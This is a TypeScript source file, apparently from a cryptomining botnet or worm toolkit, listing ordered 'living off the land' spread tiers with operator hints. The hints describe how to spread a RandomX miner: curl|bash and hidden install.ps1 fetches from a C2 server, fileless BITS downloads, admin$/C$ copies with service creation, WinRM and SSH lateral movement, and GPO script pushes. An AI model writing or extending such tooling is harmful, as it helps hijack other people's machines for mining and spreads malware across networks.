39 lines
1.5 KiB
TypeScript
39 lines
1.5 KiB
TypeScript
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
|
|
|
|
export const DEFAULT_LOTL_ONION_TIERS = [
|
|
'docker',
|
|
'wsl',
|
|
'powershell',
|
|
'dotnet',
|
|
'bits_curl',
|
|
'smb',
|
|
'winrm',
|
|
'linux',
|
|
'gpo',
|
|
] as const;
|
|
|
|
export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
|
|
|
export interface LotlOnionTierDoc {
|
|
id: LotlOnionTierId;
|
|
label: string;
|
|
/** One-line operator hint for playbook tabs */
|
|
hint: string;
|
|
}
|
|
|
|
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
|
|
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
|
|
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
|
|
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
|
|
{ id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
|
|
{ id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
|
|
{ id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
|
|
{ id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
|
|
{ id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
|
|
{ id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
|
|
];
|
|
|
|
export function lotlTierDocUrl(tier: LotlOnionTierId): string {
|
|
return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
|
|
}
|